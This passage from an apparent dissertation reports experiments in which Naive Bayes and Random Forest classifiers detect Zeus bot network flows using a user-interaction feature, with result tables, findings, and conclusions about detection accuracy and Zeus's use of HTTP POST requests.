the Naïve Bayes classifier again produced a zero true positive rate, compared with the
80% true positive rate it produced in Round 10-1. It did so with 6,839 false positives
compared with 86,685 in Round 10-1. The Random Forest classifier produced no true
positives and no false positives for either combination of training and testing subsets, just
as it had in Round 10-1.
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Table 4-38. Round 17-1 Results
No interaction feature; separate training/testing subsets
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

0

0

2428

.043

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

6839

.030

2wk test/train

RF

224338

21

0

0

0

0

For Round 17-2 (Table 4-39), the interaction feature was added. This resulted in very
little change for either combination of training and testing subsets. The Naïve Bayes
classifier again produced a zero true positive rate for both combinations, but with fewer
false positives, 2,408 compared with 2,428 and 6,766 compared with 6,839. The
Random Forest classifier again produced no true positives and no false positives.
Table 4-39. Round 17-2 Results
Added interaction feature; separate training/testing subsets
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

0

0

2408

.043

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

6766

.030

2wk test/train

RF

224338

21

0

0

0

0

For Round 18-1 (Table 4-40), the Destination Address (daddr) feature was removed
and the two-week data set was divided into training and testing subsets in the same
proportion of benign netflows as before, but the number of Zeus netflows was split at 21
and nine, compared with 15 and 15 in Round 12-1. When trained with the larger subset,
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the Naïve Bayes classifier produced a true positive rate of 44% compared with 60% in
Round 12-1. It did so with 13,224 false positives compared with 13,346 in Round 12-1.
When trained with the smaller subset, the Naïve Bayes classifier produced a zero true
positive rate compared with 80% in Round 12-1, and it produced 7,423 false positives
compared with 88,210. The Random Forest classifier produced no true positives and no
false positives with either combination of training and testing data subsets.
Table 4-40. Round 18-1 Results
No interaction feature; separate training/testing subsets; feature (daddr) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

4

.444

13224

.236

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

7423

.033

2wk test/train

RF

224338

21

0

0

0

0

The interaction feature was added for Round 18-2. Results are presented in Table 441. This resulted in no change to the true positive rates of either classifier for either
combination of training and testing data subsets. However, the Naïve Bayes classifier
produced fewer false positives than in Round 18-1 without the interaction feature for both
combinations, 13,143 compared with 13,224 and 7,352 compared with 7,423.
Table 4-41. Round 18-2 Results
Added interaction feature; separate training/testing subsets; feature (daddr)
removed
Data Set
2wk train/test

Classifier
NB

Benign

Zeus

True

TP

False

Instances

Instances

Positives

Rate Positives

Rate

56085

9

4

.444

.234

13143

FP
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2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

7352

.033

2wk test/train

RF

224338

21

0

0

0

0

For Round 19-1 (Table 4-42), the Source Type of Service (stos) and Destination Type
of Service (dtos) features were removed and the two-week data set was divided into
training and testing subsets in the same proportion of benign netflows as before. The
number of Zeus netflows was split at 21 and nine, compared with 15 and 15 in Round 141. Neither classifier detected any true positives for either combination of training and
testing data subsets. The Naïve Bayes classifier produced 2,520 false positives for the
first combination compared with only 123 in Round 14-1 and 7,586 for the second
combination compared with 95,224. The Random Forest classifier produced no false
positives for either combination of training and testing data subsets.
Table 4-42. Round 19-1 Results
No interaction feature; separate training/testing subsets; features (stos & dtos)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

0

0

2520

.045

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

7586

.034

2wk test/train

RF

224338

21

0

0

0

0

The interaction feature was added for Round 19-2. Results are presented in Table 443. This resulted in no change to the zero true positive rates of either classifier. The
Naïve Bayes classifier produced fewer false positives for both combinations of training
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and testing data subsets, 2,486 compared with 2,520 and 7,477 compared with 7,586 in
Round 19-1 without the interaction feature.
Table 4-43. Round 19-2 Results
Added interaction feature; separate training/testing subsets; features (stos & dtos)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

0

0

2486

.044

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

7477

.033

2wk test/train

RF

224338

21

0

0

0

0

For Round 20-1 (Table 4-44), three features (tcprtt, synack, ackdat) were removed and
the two-week data set was divided into training and testing subsets in the same proportion
of benign netflows as before. The number of Zeus netflows was split at 21 and nine,
compared with 15 and 15 in Round 16-1. Neither classifier detected any true positives
for either combination of training and testing data subsets. The Naïve Bayes classifier
produced 3,355 false positives compared with 173 in Round 16-1 for the first
combination and 9,323 compared with 106,270 for the second combination. The
Random Forest classifier produced no false positives.
Table 4-44. Round 20-1 Results
No interaction feature; separate training/testing subsets; features (tcprtt, synack,
ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

0

0

3355

.060

2wk train/test

RF

56085

9

0

0

0

0
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2wk test/train

NB

224338

21

0

0

9323

.042

2wk test/train

RF

224338

21

0

0

0

0

The interaction feature was added for Round 20-2. Results are presented in Table 445. This resulted in no change to the zero true positive rate for either classifier for either
combination of training and testing data subsets. The Naïve Bayes classifier produced
fewer false positives in both combinations, 3,337 compared with 3,355 and 9,260
compared with 9,323, than without the interaction feature in Round 20-1.
Table 4-45. Round 20-2 Results
Added interaction feature; separate training/testing subsets; features (tcprtt,
synack, ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

0

0

3337

.059

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

9260

.041

2wk test/train

RF

224338

21

0

0

0

0

More Compact Feature Set
For the next sequence of experiments, a more compact, feature set was chosen. The
two-week data set was divided into training and testing subsets in the same proportion as
before, and the two previous splits of Zeus netflows were used, 21-9 and 15-15, in turn.
The compact feature set consisted of the following 16 features: dport, stos, dtos, sttl, dttl,
spkts, dpkts, sloss, dloss, state, tcprtt, synack, ackdat, flgs, tcpopt, dir. Note that with the
21-9 split of Zeus netflows across the 80%-20% split of benign samples in Rounds 17-1
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through 20-2, only one feature set and data subset combination resulted in a true positive
rate above zero. The Naïve Bayes classified achieved a 44% true positive rate in Round
18-1 and 18-2 when trained with the larger subset and tested with the smaller. The
results of Round 21-1 reveal a similar outcome, as presented in Table 4-46. The Naïve
Bayes classifier produced a 67% true positive rate when trained with the larger and tested
with the smaller subsets. It produced this higher true positive rate with only 258 false
positives compared with 13,224 in Round 18-1 and 13,143 in Round 18-2.
Table 4-46. Round 21-1 Results
No interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

9

6

.667

258

.005

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

532

.002

2wk test/train

RF

224338

21

0

0

0

0

When the interaction feature was added to the compact feature set with this split
(Table 4-47), again only the false positive rates of the Naïve Bayes classifier changed.
For both combinations of training and testing data subsets, the number of false positives
decreased, 192 compared with 258 and 529 compared with 532 in Round 21-1 without
the interaction feature.
Table 4-47. Round 21-2 Results
Added interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

Instances

Instances

Positives

Rate Positives

FP
Rate
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2wk train/test

NB

56085

9

6

.667

192

.003

2wk train/test

RF

56085

9

0

0

0

0

2wk test/train

NB

224338

21

0

0

529

.002

2wk test/train

RF

224338

21

0

0

0

0

Round 22-1 again uses the 15-15 split of Zeus netflows across the 80%-20% split of
benign netflows for comparison with the results of even Rounds 10-1 through 16-2 which
used the full feature set. Results are presented in Table 4-48. The Naïve Bayes classifier
produced a true positive rate of 73% with only 200 false positives when trained with the
larger subset and tested with the smaller. This represents a higher true positive rate than
all previous rounds using this number (30) and split (15-15) of Zeus netflows with this
combination. It also represents a much lower number of false positives than the only
previous round to achieve a true positive rate above zero, Round 12-1, in which the Naïve
Bayes classifier achieved a 60% true positive rate but with 13,346 false positives. When
the training and testing roles were reversed, the Naïve Bayes classifier produced an 80%
true positive rate with 1,211 false positives. This true positive rate is equal to, or greater
than, the true positive rate of the earlier rounds using this combination. The number of
false positives, however, is more than a factor of 10 lower than all those previous rounds.
The Random Forest classifier produced no true or false positives for the first combination
of training and testing data, but did produce a true positive rate of 40% for the second
combination. This also represents an improvement over all previous rounds, only one of
which (10-2) resulted in a true positive rate above zero. Again, it did so without
producing any false positives.
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Table 4-48. Round 22-1 Results
No interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

11

.733

200

.004

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

1211

.005

2wk test/train

RF

224338

15

6

.400

0

0

When the interaction feature was added (Table 4-49), the true positive rates for the
Naïve Bayes classifier remained the same but the number of false positives decreased,
151 compared with 200 and 1,073 compared with 1,211. Interestingly, the true positive
rate of the Random Forest classifier when trained with the smaller and tested with the
larger data subset went back to zero and a false positive was generated.
Table 4-49. Round 22-2 Results
Added interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

11

.733

151

.003

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

1073

.005

2wk test/train

RF

224338

15

0

0

1

.000

One-month data sets
The next set of experiments used larger, one-month data sets with the same 30 Zeus
netflows and compact feature set as the previous rounds. Results for both crossvalidation and separate training and testing subsets are provided for comparison with
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earlier rounds using the smaller, two-week data set. Three separate one-month data sets
are used from the benign data captured in April, May, and June of 2013, respectively.
The number of false positives remains relevant for comparison across the data sets using
the same number of Zeus samples.
The results of cross-validation using the April data set are presented in Table 4-50.
The Naïve Bayes classifier produced a 100% true positive rate and a 1% false positive
rate. The Random Forest classifier produced an 83% true positive rate with no false
positives. This represents an improvement by both classifiers over the results of Round
9-1 which used the two-week data set and same 30 Zeus netflows. The true positive rate
of the Naïve Bayes classifier improved from 97% to 100% and the false positive rate
improved from 42% down to 1%. The true positive rate of the Random Forest classifier
improved from 80% to 83% while maintaining the error-free, zero false positive rate.
Table 4-50. Round 23-1 Results
No interaction feature; cross-validation; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

apr

NB

487347

30

30

1

4302

.009

apr

RF

487347

30

25

.833

0

0

When the interaction feature was added (Table 4-51), the true positive rate for the
Naïve Bayes classifier remained the same but the number of false positives decreased
over Round 23-1 without the interaction feature. The true positive rate for the Random
Forest classifier improved from 83% to 93% with no false positives.
Table 4-51. Round 23-2 Results
Added interaction feature; cross-validation; compact feature set
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Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

apr

NB

487347

30

30

1

3337

.001

apr

RF

487347

30

28

.933

0

0

For the next rounds, the April data set was divided into separate training and testing
subsets using the same 80%/20% split of benign netflows as in the earlier rounds using
the two-week data set. The Zeus netflows were split 15-15 across the training subsets.
Results are provided in Table 4-52. When trained with the larger subset and tested with
the smaller, the Naïve Bayes classifier produced a 73% true positive rate with 0.3% false
positive rate. This represents a significant increase over the zero true positive rate in
Round 10-1 using the two-week data set. The Random Forest classifier produced no true
positives or false positives, no change from Round 10-1. When trained with the smaller
subset and tested with the larger, the Naïve Bayes classifier produced an 80% true
positive rate with 0.1% false positive rate. This is the same true positive rate achieved in
Round 10-1 but with a much improved false positive rate, 0.1% down from 38%. The
Random Forest classifier produced a 20% true positive rate, up from zero in Round 10-1,
but with one false positive.
Table 4-52. Round 24-1 Results
No interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

apr train/test

NB

97469

15

11

.733

336

.003

apr train/test

RF

97469

15

0

0

0

0

apr test/train

NB

389878

15

12

.800

366

.001

apr test/train

RF

389878

15

3

.200

1

.000
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When the interaction feature was added (Table 4-53), the true positive rates for the
Naïve Bayes classifier remained the same but the numbers of false positives decreased
for both combinations of training and testing data subsets. The true positive rate for the
Random Forest classifier remained at zero when trained with the larger subset and tested
with the smaller, but it improved from 20% to 60% when the roles were reversed. It also
did so without any false positives, an improvement over the single false positive in
Round 24-1 without the interaction feature.
Table 4-53. Round 24-2 Results
Added interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

apr train/test

NB

97469

15

11

.733

291

.003

apr train/test

RF

97469

15

0

0

0

0

apr test/train

NB

389878

15

12

.800

318

.001

apr test/train

RF

389878

15

9

.600

0

0

The results of cross-validation using the May data set are presented in Table 4-54.
The Naïve Bayes classifier produced a 97% true positive rate and a 1% false positive rate.
The Random Forest classifier produced an 93% true positive rate with no false positives.
This represents an improvement by both classifiers over the results of Round 9-1 which
used the two-week data set and same 30 Zeus netflows. The improvement by the Naïve
Bayes classifier was in terms of a lower false positive rate, 1% down from 42%, since its
true positive rate was 97% in both cases. The improvement by the Random Forest
classifier was in terms of a higher true positive rate, 93% up from 80% in Round 9-1,
since its false positive rate remained at zero.
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Table 4-54. Round 25-1 Results
No interaction feature; cross-validation; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

may

NB

461036

30

29

.967

3043

.007

may

RF

461036

30

28

.933

0

0

When the interaction feature was added (Table 4-55), the true positive rate for the
Naïve Bayes classifier remained the same but the number of false positives improved,
2,880 down from 3,043. The true positive rate for the Random Forest classifier improved
from 93% to 97% with no false positives.
Table 4-55. Round 25-2 Results
Added interaction feature; cross-validation; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

may

NB

461036

30

29

.967

2880

.006

may

RF

461036

30

29

.967

0

0

For the next rounds, the May data set was divided into separate training and testing
subsets using the same split of benign and Zeus netflows. Again, using this one-month
data set (May) resulted in improvements by both classifiers over the results with the twoweek data set in Round 10-1. Results are presented in Table 4-56. When trained with the
larger subset and tested with the smaller, the Naïve Bayes classifier produced an 80%
true positive rate with a 0.3% false positive rate. This is an improvement over the zero
true positive rate in Round 10-1. The Random Forest classifier produced no true
positives or false positives, which is the same as in Round 10-1. When trained with the
smaller and tested with the larger data subset, The Naïve Bayes classifier produced a
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100% true positive rate, up from 80% in Round 10-1, and with a 0.5% false positive rate
compared with 39% in Round 10-1. The Random Forest classifier produced a 53% true
positive rate, up from zero in Round 10-1, and again with no false positives.
Table 4-56. Round 26-1 Results
No interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

may train/test

NB

92207

15

12

.800

304

.003

may train/test

RF

92207

15

0

0

0

0

may test/train

NB

368829

15

15

1

1929

.005

may test/train

RF

368829

15

8

.533

0

0

When the interaction feature was added (Table 4-57), the true positive rates for the
Naïve Bayes classifier remained the same but the number of false positives decreased for
the second combination of training and testing data subsets, 1,888 down from 1,929. The
true positive rate for the Random Forest classifier decreased from 53% to zero when
trained with the smaller subset and tested with the larger.
Table 4-57. Round 26-2 Results
Added interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

may train/test

NB

92207

15

12

.800

304

.003

may train/test

RF

92207

15

0

0

0

0

may test/train

NB

368829

15

15

1

1888

.005

may test/train

RF

368829

15

0

0

0

0
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The results of cross-validation using the June data set are presented in Table 4-58.
The Naïve Bayes classifier produced a 100% true positive rate and a 1% false positive
rate. The Random Forest classifier produced a 93% true positive rate with no false
positives. Again this represents an improvement by both classifiers using a one-month
data set over the results of Round 9-1 which used the two-week data set and same 30
Zeus netflows.
Table 4-58. Round 27-1 Results
No interaction feature; cross-validation; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

jun

NB

570236

30

30

1

4713

.008

jun

RF

570236

30

28

.933

0

0

When the interaction feature was added (Table 4-59), the Naïve Bayes classifier again
produced a 100% true positive rate. It also produced fewer false positives, 4,343 down
from 4,713, than without the interaction feature in Round 27-1. The Random Forest
classifier produced a 97% true positive rate, up from 93% without the interaction feature,
and again without any false positives.
Table 4-59. Round 27-2 Results
Added interaction feature; cross-validation; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

jun

NB

570236

30

30

1

4343

.008

jun

RF

570236

30

29

.967

0

0
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For the next rounds, the June data set was divided into separate training and testing
subsets using the same split of benign and Zeus netflows. Again, using this one-month
data set (June) resulted in improvements by both classifiers over the results with the twoweek data set in Round 10-1. Results are presented in Table 4-60. When trained with the
larger and tested with the smaller subset, the Naïve Bayes classifier produced an 80%
true positive rate, up from zero in Round 10-1 with the two-week data set, and did so
with a 1% false positive rate. The Random Forest classifier produced a 13% true positive
rate, up from zero in Round 10-1, and again without false positives. When the training
and testing roles were reversed, the Naïve Bayes classifier produced an 87% true positive
rate, up from 80% in Round 10-1, and with a false positive rate less than 1%, down from
39% in Round 10-1. The Random Forest classifier produced a 60% true positive rate, up
from zero in Round 10-1 with the two-week data set, and again without false positives.
Table 4-60. Round 28-1 Results
No interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

jun train/test

NB

114047

15

12

.800

1184

.010

jun train/test

RF

114047

15

2

.133

0

0

jun test/train

NB

456189

15

13

.867

196

.000

jun test/train

RF

456189

15

9

.600

0

0

When the interaction feature was added (Table 4-61), the true positive rates for the
Naïve Bayes classifier remained the same but the numbers of false positives decreased
for both combinations of training and testing data subsets, 1,162 down from 1,184 and
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182 down from 196. In both combinations, the true positive rate of the Random Forest
classifier decreased to zero.
Table 4-61. Round 28-2 Results
Added interaction feature; separate training/testing subsets; compact feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

jun train/test

NB

114047

15

12

.800

1162

.010

jun train/test

RF

114047

15

0

0

0

0

jun test/train

NB

456189

15

13

.867

182

.000

jun test/train

RF

456189

15

0

0

0

0

Findings
The first two findings presented here resulted from the feature selection process and
were instrumental to subsequent experimentation. The remainder of the findings
presented here resulted from the experiments presented in the previous section. Under
most of the experimental conditions, the addition of the interaction feature resulted in
performance improvements by one or both of the classifiers. These conditions included
changing the number of benign instances, changing the number of malicious instances,
changing the number of features, changing the type of features, changing the type of
malicious instances, changing the sizes of training and testing subsets, and changing the
ratio of malicious instances in the training and testing subsets.

Assigning the Interaction Feature
Determining which netflows to attribute to interaction was a heuristic process
informed by experimentation with a range of time values. Intuition suggests that a large
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percentage of network transactions would result from human interaction with network
enabled applications, such as browsers. Since the time resolution of the interaction
feature was only to the minute, some portion of network transactions that resulted from
interaction would appear up to one minute before the timestamp of the interaction feature.
This limit would not apply to user initiated network transactions occurring after the
interaction, so periods of time up to three minutes were considered. Table 4-62 presents
the results of applying various time ranges around the interaction feature timestamps
using the 646,702 netflows of the April dataset. Table 4-63 contrasts the results of
applying the heuristic value of plus through minus 30 seconds to the five primary datasets
with the statistical value of plus 75 seconds through minus 45 seconds. The higher
percentages for the latter were expected given the larger total time interval. The higher
percentages in the smaller datasets (2hr, 24hr) compared with the larger datasets (2wk,
1mon, 3mos) was also expected, given the selection of the smaller datasets from periods
of significant user interaction.
Table 4-62. Netflows Appearing Near April 2013 User Interactions
Time Delta

0s

3s

30s

60s

90s

120s

150s

180s

Plus or Minus

1438

10148

84581

107988 123148 135119 139604 141458

Plus

1438

6296

45727

83657

92414

99973

Minus

1438

5290

41151

81517

95636

110183 117773 123405

104095 108707

Table 4-63. Percentage of Interaction Related Flows in Five Primary Datasets
Data
Set
2hr

Benign
Flows
4,313

Interaction Interaction Interaction Interaction
(+30s -30s) Percentage (+75s -45s) Percentage
2,311
53.6%
3,114
72.2%
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24hr

7,800

3,089

39.6%

3,581

45.9%

2wk

280,423

46,740

16.7%

61,803

22.0%

1mon

487,347

73,963

15.2%

97,020

19.9%

3mos

1,518,623

138,155

9.0%

187,184

12.3%

Impact of Changing Feature Type (Numeric/Nominal)
Table 4-64 provides the results of incrementally converting relevant attribute types
from numeric to nominal on the performance of the Naïve Bayes and Random Forest
classifiers using cross-validation against the two-week benign data set with 30 Zeus
instances. As the number of features converted from numeric to nominal grew from four
to ten, the number of false positives produced by the Naïve Bayes classifier consistently
declined, a performance improvement, without any detrimental impact on the true
positive rate. As the number of features converted from numeric to nominal grew from
four to ten, the number of true positives produced by the Random Forest classifier
consistently increased, also a performance improvement, without any detrimental impact
on the false positive rate.
Table 4-64: Performance improvements upon converting numeric to nominal
Data

Nominal

Set

Features

2wk

4 of 31

2wk

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate

Positives

Rate

NB

280423

30

29

.967

140610

.501

4 of 31

RF

280423

30

17

.567

0

0

2wk

6 of 31

NB

280423

30

29

.967

135130

.482

2wk

6 of 31

RF

280423

30

22

.733

0

0

2wk

8 of 31

NB

280423

30

29

.967

124779

.445
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2wk

8 of 31

RF

280423

30

24

.800

0

0

2wk

10 of 31

NB

280423

30

29

.967

116964

.417

2wk

10 of 31

RF

280423

30

24

.800

0

0

Impact of Interaction Feature with Cross-Validation
The addition of the interaction feature frequently improved the performance of the
Naïve Bayes classifier in terms of fewer false positives without negatively impacting the
number of true positives. This was true for ten-fold cross-validation of the full feature set
across all three benign data sets tested (2hr, 24hr, 2wk) when using only 15 malicious
instances (Table 4-5) and for the only benign sample set (2wk) tested when using 30
malicious instances (Table 4-22). The addition of the interaction feature improved the
ten-fold cross-validation performance of the Random Forest classifier in terms of more
true positives without negatively impacting false positives for largest of these data sets
(2wk) when using 15 malicious instances (Table 4-5) and when using 30 malicious
instances (Table 4-22). The percentage of improvement to the Naïve Bayes’ false
positive rate was generally less than one percent. However, the percentage improvement
to the Random Forest’s true positive rate was over six percent when using the smaller set
(15) of malicious instances and over three percent when using the larger set (30).
A similar decrease in the Naïve Bayes classifier’s false positives and increase in the
Random Forest classifier’s true positives were observed when the feature sets were
modified and 15 malicious instances used (Tables 4-9, 4-13, 4-17), and when the feature
sets were modified and 30 malicious instances used (Tables 4-26, 4-30, 4-34).
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Impact of Interaction Feature with Separate Training and Testing Subsets
Again, the addition of the interaction feature frequently improved the performance of
the Naïve Bayes classifier in terms of fewer false positives, but when using separate
training and test sets it also increased the number of true positives for some of the benign
sample sets when using 15 malicious instances (Table 4-7). However, in two cases the
addition of the interaction feature resulted in more false positives for the Naïve Bayes
classifier. This occurred after switching the training and testing subsets of the two-hour
and 24-hour benign instances and training with the smaller subsets (Table 4-7).
The addition of the interaction feature again improved the performance of the Random
Forest classifier in terms of true positives, once using the two-hour benign data set with
seven malicious instances in the testing subset (Table 4-7) and once using the two-week
benign data set with 15 malicious instances in the testing subset (Table 4-24). The
percentage improvements were over 54 and over 15, respectively. However, in one case
when training with the larger subset of the 24-hour benign data set, the addition of the
interaction feature resulted in one fewer true positive for a greater than 16 percent
performance decline (Table 4-7).
Similar frequent decreases in the Naïve Bayes classifier’s false positives and one
increase in true positives were observed when the feature sets were modified and 15
malicious instances were used (Tables 4-11, 4-15, 4-19), and when the feature sets were
modified and 30 malicious instances were used (Tables 4-28, 4-32, 4-36). One increase
in false positives was noted for the Naïve Bayes classifier when trained with the smaller
(20%) subset of benign instances (Table 4-36). The addition of the interaction feature did
not result in any changes to the performance of the Random Forest classifier when the
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feature sets were modified (Tables 4-11, 4-15, 4-19, 4-28, 4-32, 4-36). In all of these
cases, the Random Forest classifier failed to detect any of the malicious instances (zero
TP) and made no mistakes (zero FP), with or without the interaction feature added.
The four occasions of declining performance highlighted the sensitivity of the
classifiers to the data sets chosen for training and testing, particularly with the smaller
numbers of benign and malicious samples. Three declines were noted with the two-hour
and 24-hour benign samples combined with 15 malicious samples. One was noted with
the two-week benign data set combined with 30 malicious instances and three features
removed.

Impact of Interaction Feature with Different Malicious Instances
The most notable impact of selecting different malicious instances and changing the
ratio of training and testing instances to 21/9 was the zero true positive rates for both
classifiers. This was true when using the full feature set (Table 4-38) and all but one
(Table 4-40) of the previously used reduced feature sets. Nonetheless, the addition of the
interaction feature still resulted in a reduction of the number of false positives for the
Naïve Bayes classifier every time (Tables 4-39, 4-41, 4-43, 4-45). This was also true
when using a new compact feature set (Table 4-47).
When the ratio of the different malicious instances was changed from 21/9 to 15/15,
however, both classifiers produced true positives. The Naïve Bayes classifier’s false
positive rate again improved with the addition of the interaction feature. However, the
true positive rate of the Random Forest classifier declined and one false positive was
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generated. This very uncommon result again highlighted the sensitivity of the classifiers
to the training and testing subsets.

Impact of Interaction Feature with Cross-Validation in Large Data Sets
Experiments with the larger, one-month (apr, may, jun) data sets were conducted
using only the new (different) malicious instances and the compact feature set. Again the
addition of the interaction feature resulted in improvements to the performance of both
classifiers. The number of false positives decreased for the Naïve Bayes classifier with
no decrease in true positives for all three one-month data sets (Tables 4-51, 4-55, 4-59).
The true positive rate of the Random Forest classifier increased with no false positives for
all three one-month data sets (Tables 4-51, 4-55, 4-59). The average increase in true
positive rate for the Random Forest classifier was over five percent across these three
data sets, with performance approaching (apr,jun) or equaling (may) that of the Naïve
Bayes classifier in terms of true positive rate and exceeding that of the Naïve Bayes
classifier in terms of false positive rate.

Impact of Interaction Feature with Separate Subsets of Large Data Sets
Experiments with the larger, one-month data sets partitioned into training and testing
subsets again revealed that the addition of the interaction feature impacted the
performance of the classifiers in a manner consistent with the earlier experiments. The
number of false positives was reduced five out of six times for the Naïve Bayes classifier
without a decrease in true positives (Tables 4-53, 4-57, 4-61). The true positive rate of
the Random Forest classifier increased along with a corresponding decrease in false
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positives for the April data set (Table 4-53). However, that performance improvement
was overshadowed by declines in the true positive rate for both the May and June data
sets (Tables 4-57, 4-61), again highlighting this classifier’s sensitivity to the training and
testing subsets.
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Chapter 5
Conclusions, Implications, Recommendations, and Summary

Conclusions
The experiments conducted in this research provide empirical evidence that two
leading machine learning methods, a Naive Bayes classifier and a Random Forest
classifier, generally achieved better performance results when using network flow level
features supplemented with an interaction feature to detect autonomous data exfiltration
by the Zeus bot malware. These are the first known experiments conducted to test
whether detection of autonomous network traffic between the Zeus bot malware on an
infected host and its remote command and control server can be improved by capturing
and considering information about user interaction on that infected host. These positive
results contribute to the body of knowledge regarding malware detection in general and
Zeus bot network activity in particular and represent the primary scientific contribution of
this work.
The inter-packet analysis of contemporary samples of actual Zeus bot network activity
in the wild revealed examples of HTTP communications behavior that differed from the
patterns reported by earlier researchers (Al-Bataineh & White, 2012; Alserhani, Akhlaq,
Awan, & Cullen, 2010; Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, &
Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013). This new behavior was the
use of the HTTP POST method with an encrypted payload instead of the GET method
with no payload by infected clients to request file updates (Table 4-2). This is the first
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known analysis of these Zeus malware samples. This discovery contributes to the body of
knowledge regarding Zeus bot network activity for detection and countermeasures. The
examples provided of this behavior represent the next significant contribution of this
work.
Both classifiers were sensitive to the choice of training and testing sets. The purpose
of partitioning the benign data sets into separate subsets for training and testing the
classifiers was to ensure that the testing would be done using only instances that the
classifier had not previously seen. This is a recognized technique in the literature to
prevent over fitting of the learned model to the training data, and is commonly used when
large data sets are available. Training with 80 percent of the examples and testing with
the other 20 percent is a rule of thumb applied by some researchers (Guyon). The
purpose of switching the training and testing subsets in this work was to produce results
from both an 80/20 split and a 20/80 split for comparison. In many cases, the results
differed. The purpose of changing the number of malicious instances in the training and
testing sets was also to produce results for comparison. Again the results differed in
many cases. The purpose of using cross-validation and then separate training and
(holdout) testing approaches was also to produce results for comparison. As one
example, both classifiers performed well in terms of true and false positives when trained
with a relatively small set of malicious instances within the largest, one-month benign
data sets. True positive rates were above 90 percent and false positive rates were less than
one percent when the interaction feature was added. However, this was only true when
using 10-fold cross-validation. The true positive rates for both classifiers dropped below
90 percent for each of the three, one-month data sets when the data was partitioned into
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separate training and testing subsets. The purpose of incrementally converting more
numeric features to nominal features for the same data set was also to produce results for
comparison. The results of both classifiers improved, in terms of fewer false positive for
the Naïve Bayes and more true positives for the Random Forest, as the number of
converted features was increased from four to ten in increments of two. These results
contribute empirical evidence to the body of knowledge regarding machine learning and
represent the next significant contribution of this work.

Implications
The Naïve Bayes and Random Forest classifiers performed better on flow level
features when supplemented with an interaction feature. This suggests that classifiers
would also perform better on packet level features when supplemented with an
interaction feature. Intuition suggests that the features within the HTTP protocol
messages, namely the resource request methods, would likely improve the performance
of both classifiers over the use of only flow level features. Correlating HTTP GET and
POST methods with user interaction would likely improve results even further.
This work provided evidence that detecting of Zeus bot network behavior in netflows
can be improved with external context, in this case a feature representing human
interaction with software on the infected host. This finding suggests that other context
could produce similar improvements and should be considered. This was not uncommon
in the literature, where additional context was provided from file system and registry
monitoring, for example.
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The use of the HTTP POST method instead of the HTTP GET method by the infected
host to request files from the C&C server was first noted in the 2012 Zeus network
sample. This implies that the technique has been in use since at least February 2012. The
previously reported technique of using the GET method was also noted in that sample,
however. Also, neither of the POST method requests in that sample included an
encrypted payload. These observations suggest that this period was early in what appears
to be a trend toward the use of the POST method instead of the GET method, as noted in
the 2014 Zeus samples. None of these samples are very large, however, so suggesting
this may be a trend comes with that caveat.
